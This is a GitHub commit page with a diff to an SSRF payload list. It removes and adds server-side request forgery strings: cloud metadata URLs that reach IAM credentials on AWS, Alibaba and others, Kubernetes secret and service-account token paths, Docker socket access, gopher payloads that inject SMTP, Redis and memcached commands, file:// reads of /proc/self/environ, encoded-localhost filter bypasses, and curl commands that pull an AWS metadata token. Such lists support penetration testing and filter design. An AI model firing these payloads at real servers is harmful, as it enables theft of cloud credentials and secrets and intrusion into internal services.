Skip to content

Commit 7acd338

Browse files
authored
Merge pull request #30 from harriiinnii/test/duplicate-pr-new
Test/duplicate pr new
2 parents 36ef431 + 6d71635 commit 7acd338

1 file changed

Lines changed: 23 additions & 34 deletions

File tree

SSRF/ssrf-payloads.txt

Lines changed: 23 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -85,37 +85,26 @@ http://redirect.example.com?url=http://127.0.0.1
8585
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
8686
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
8787

88-
# Additional cloud metadata providers
89-
http://100.100.100.200/latest/meta-data/ # Alibaba Cloud metadata
90-
http://100.100.100.200/latest/meta-data/ram/security-credentials/ # Alibaba RAM creds
91-
http://169.254.169.254/opc/v2/instance/ # Oracle Cloud metadata
92-
http://169.254.169.254/openstack/latest/meta-data/ # OpenStack metadata
93-
http://[fd00:ec2::254]/latest/meta-data/ # AWS IMDS over IPv6 link-local
94-
95-
# In-cluster service APIs (containerized environments)
96-
https://kubernetes.default.svc/api/v1/secrets # in-cluster K8s API
97-
https://kubernetes.default.svc/api/v1/namespaces/default/secrets
98-
http://unix:/var/run/docker.sock:/containers/json # Docker daemon over unix socket
99-
file:///var/run/secrets/kubernetes.io/serviceaccount/token # K8s service-account token
100-
101-
# Localhost short-form / encoded bypasses
102-
http://127.1
103-
http://0/
104-
http://127.0.0.1.
105-
http://localhost.
106-
http://[::ffff:127.0.0.1]
107-
http://①②⑦.⓪.⓪.① # enclosed-alphanumeric localhost
108-
http://localtest.me
109-
http://127.0.0.1.nip.io
110-
http://169.254.169.254.nip.io
111-
112-
# Protocol-handler CRLF command injection
113-
gopher://127.0.0.1:25/_HELO%20x%0d%0aMAIL%20FROM:%3ca@b%3e%0d%0aRCPT%20TO:%3cc@d%3e # SMTP via gopher
114-
gopher://127.0.0.1:6379/_*1%0d%0a%244%0d%0aINFO%0d%0a # Redis command via gopher
115-
file:///proc/self/environ
116-
file:///proc/version
117-
118-
# Filter bypass with whitespace / delimiter tricks
119-
http://127.0.0.1%09.example.com # tab separator
120-
http://127.0.0.1%252f.example.com # double-encoded slash
121-
http://example.com%2f%2f127.0.0.1 # encoded slash slash
88+
# Advanced cloud metadata & instance identity
89+
http://169.254.169.254/latest/dynamic/instance-identity/signature
90+
http://metadata.google.internal/computeMetadata/v1/oslogin/
91+
http://[fd00:ec2::254]/latest/dynamic/instance-identity/document
92+
http://169.254.169.254/latest/meta-data/iam/security-credentials/attacker-role
93+
94+
# Numeric / encoded host bypasses (additional forms)
95+
http://2130706433:80
96+
http://017700000001
97+
https://0x7f000001
98+
http://[::ffff:127.0.0.1]:8080
99+
100+
# Additional protocol handlers
101+
ftp://127.0.0.1
102+
tftp://[::1]:69
103+
gopher://localhost:11211/_stats%0d%0a
104+
http://%2f%2fvar%2frun%2fdocker.sock/containers/json
105+
106+
# Expanded internal network ranges
107+
http://10.0.0.0
108+
http://172.16.0.0
109+
http://192.168.0.0
110+
http://169.254.0.0

0 commit comments

Comments
 (0)